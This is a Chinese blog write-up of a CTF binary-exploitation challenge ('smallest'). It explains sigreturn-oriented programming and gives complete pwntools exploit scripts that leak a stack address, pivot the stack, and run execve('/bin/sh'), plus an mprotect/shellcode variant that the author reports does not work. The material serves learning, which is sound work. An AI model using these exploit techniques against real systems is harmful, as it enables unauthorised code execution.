Loading... <!-- wp:paragraph --> <p>这篇博客写了两天,我也花了很久来理解srop,现在我可以说我会srop了。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>这道题的代码非常短</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>xor rax, rax mov edx, 400h ; count mov rsi, rsp ; buf mov rdi, rax ; fd syscall ; LINUX - sys_read retn</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>仅此六行。由于有syscall和一个read函数,我们可以通过改变read的字节数来控制rax的值,借此实现任意系统调用。于是我们的思路是先调用sys_write泄露栈地址,然后构造signal frame劫持rsp使栈迁移至一个<strong>可读写</strong>的<strong>确定</strong>空间(就是我们泄露的地址)。最后再构造一个signal frame指定execve的四个参数并设置系统调用号位execve的调用号,再注入“/bin/sh”,就获得了shell。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>exp是这样,我们一段一段来看。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":641,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201126221349.png" alt="" class="wp-image-641"style=""></figure></div> <!-- /wp:image --> <!-- wp:image {"align":"center","id":642,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201126222323.png" alt="" class="wp-image-642"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这句,说明read是直接从rsp读的,也就是说偏移为零。由于我在做的时候对栈行为感到了疑惑,这里我贴一下调试信息</p> <!-- /wp:paragraph --> <!-- wp:image {"id":644,"sizeSlug":"large"} --> <figure class="wp-block-image size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201126222721.png" alt="" class="wp-image-644"style=""></figure> <!-- /wp:image --> <!-- wp:image {"id":643,"sizeSlug":"large"} --> <figure class="wp-block-image size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201126222728.png" alt="" class="wp-image-643"style=""></figure> <!-- /wp:image --> <!-- wp:paragraph --> <p>这就可以很明显的看出来我们如何然后构造rop链了,我们先让程序再一次从头开始执行,然后输入一个字节,让rax被置为1,由于rdi由rax赋值,所以write的调用条件就成立了,通过下面的构造</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>start_addr = 0x00000000004000B0 syscall_ret = 0x00000000004000BE start_void_rax_addr = 0x00000000004000B3 payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr) sh.send(payload) sleep(0.3) sh.send('\xb3') stack_addr = u64(sh.recv()[0x148:0x148+8]) print hex(stack_addr) </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>我们就可以实现泄露栈地址了。这里由两个细节要注意</p> <!-- /wp:paragraph --> <!-- wp:list {"ordered":true} --> <ol><li>输入的那一个字节必须是\xb3,因为读入的时候会直接写到[rsp]处,而这里存的是该函数的返回地址。</li><li>stack_addr的赋值,我们知道栈中大概率会存一个可读可写的地址,但是这个位置在不同的机器上面可能是不同的,所以我碰到了在本地能打通而连远程(BUU)打不通的情况(<span class="external-link"><a class="no-external-link" href="https://www.cnblogs.com/Theffth-blog/p/12833123.html" target="_blank"><i data-feather="external-link"></i>感谢这位师傅</a></span>)。解决的方法是直接连接服务器,先对write泄露的栈空间分析</li></ol> <!-- /wp:list --> <!-- wp:image {"align":"center","id":647,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201126224554.png" alt="" class="wp-image-647"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这个是可读写的。所以我们这么处理:<code>stack_addr = u64(sh.recv()[0x148:0x148+8])</code>,就可以获得一个可用的栈地址。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>接下来我们再设置一次read,并劫持栈指针到stack_addr处实现栈迁移。代码如下</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rdx = 0x400 sigframe.rsi = stack_addr sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'sigretaa' + str(sigframe) sh.send(payload) sleep(0.3) </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p><code>p64(start_addr) + 'sigretaa'</code>这里加的'sigretaa'是八个字节的垃圾数据,信号机制中,信号处理完,从内核态重新进入用户态的时候会pop一个sigreturn,而我们这里直接调用了这个系统调用,所以需要垃圾数据来去除这个pop的影响。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>然后我们输入十五个字节,触发sigreturn</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>trigger_sigret = p64(syscall_ret) + 'a'*7 sh.send(trigger_sigret) sleep(0.3) </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>执行到这里的时候就正式完成了栈迁移,之后我们只要伪造execve的signal frame并注入'/bin/sh'就可以拿shell了。</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rsp = stack_addr sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rdi = stack_addr + 0x150 sigframe.rip = syscall_ret payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x150,'a') + "/bin/sh\x00" sh.send(payload) sleep(0.3) sh.send(trigger_sigret) sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:heading {"level":4} --> <h4>另一种尝试</h4> <!-- /wp:heading --> <!-- wp:paragraph --> <p>然后我们再来思考一下,这道题是否有更好的方法。从服务器上面泄露出一个可用的地址并不容易,需要一次一次凑。但是,如果我们获得一个栈的大致位置,然后直接修改他的权限,就可以注入shellcode来拿shell了,这样就不需要试哪个地址是可用的了。所以我们可以考虑利用mprotect系统调用。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>也就是说先用mprotect修改权限,此时先不劫持栈指针,然后用read劫持栈指针并注入shellcode,但是<strong>实际上仍然是难以实现的</strong>,我们在伪造mprotect的signal frame的时候,必然要指定一个stack address,我们手上有的仍然只是一个泄露的stack_addr,在mprotect执行结束后会ret,而ret时的rsp就是我们指定的rsp,这里仍然是需要我们凑的,所以我个人认为shellcode注入的意义不是很大。</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * context(log_level = 'debug',arch = 'amd64',os = 'linux') sh = process("./smallest") #sh = remote("node3.buuoj.cn","28646") start_addr = 0x00000000004000B0 syscall_ret = 0x00000000004000BE start_void_rax_addr = 0x00000000004000B3 payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr) sh.send(payload) sleep(0.3) sh.send('\xb3') stack_addr = u64(sh.recv()[8:16]) print hex(stack_addr) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rdx = 0x400 sigframe.rsi = stack_addr sigframe.rsp = stack_addr sigframe.rip = syscall_ret paylaod = p64(start_addr) + 'sigretaa' + str(sigframe) sh.send(payload) sleep(0.3) trigger_sigret = p64(syscall_ret) + 'a'*7 sh.send(trigger_sigret) sleep(0.3) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_mprotect sigframe.rdi = (stack_addr & 0xfffffffffffff000) sigframe.rsi = 0x1000 sigframe.rdx = 0x7 sigframe.rip = syscall_ret sigframe.rsp = stack_addr + 0x108 payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x108,'a') payload += p64(stack_addr + 0x108 + 8) payload += asm(shellcraft.sh()) print payload sh.send(payload) sleep(0.3) sh.send(trigger_sigret) sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>这个exp在我的本机上会出现错误,实在是看不出来有什么问题。</p> <!-- /wp:paragraph --> 最后修改:2021 年 04 月 25 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
3 条评论
嗷嗷嗷,我是傻子,打扰了师傅
我调试了一下,发现确实不可以。但是为什么像你的payload这样发这个\xb3就是partial覆盖void_eax的地址,而像我说的这样单独发就是改内存。。。
chuj师傅,我想问一下,第一次泄露栈地址的时候,为什么要先执行一次返回start_addr 而不是直接send('\b3')然后后面接上p64(start_addr),利用partial overwrite一次性泄露栈上的地址呢?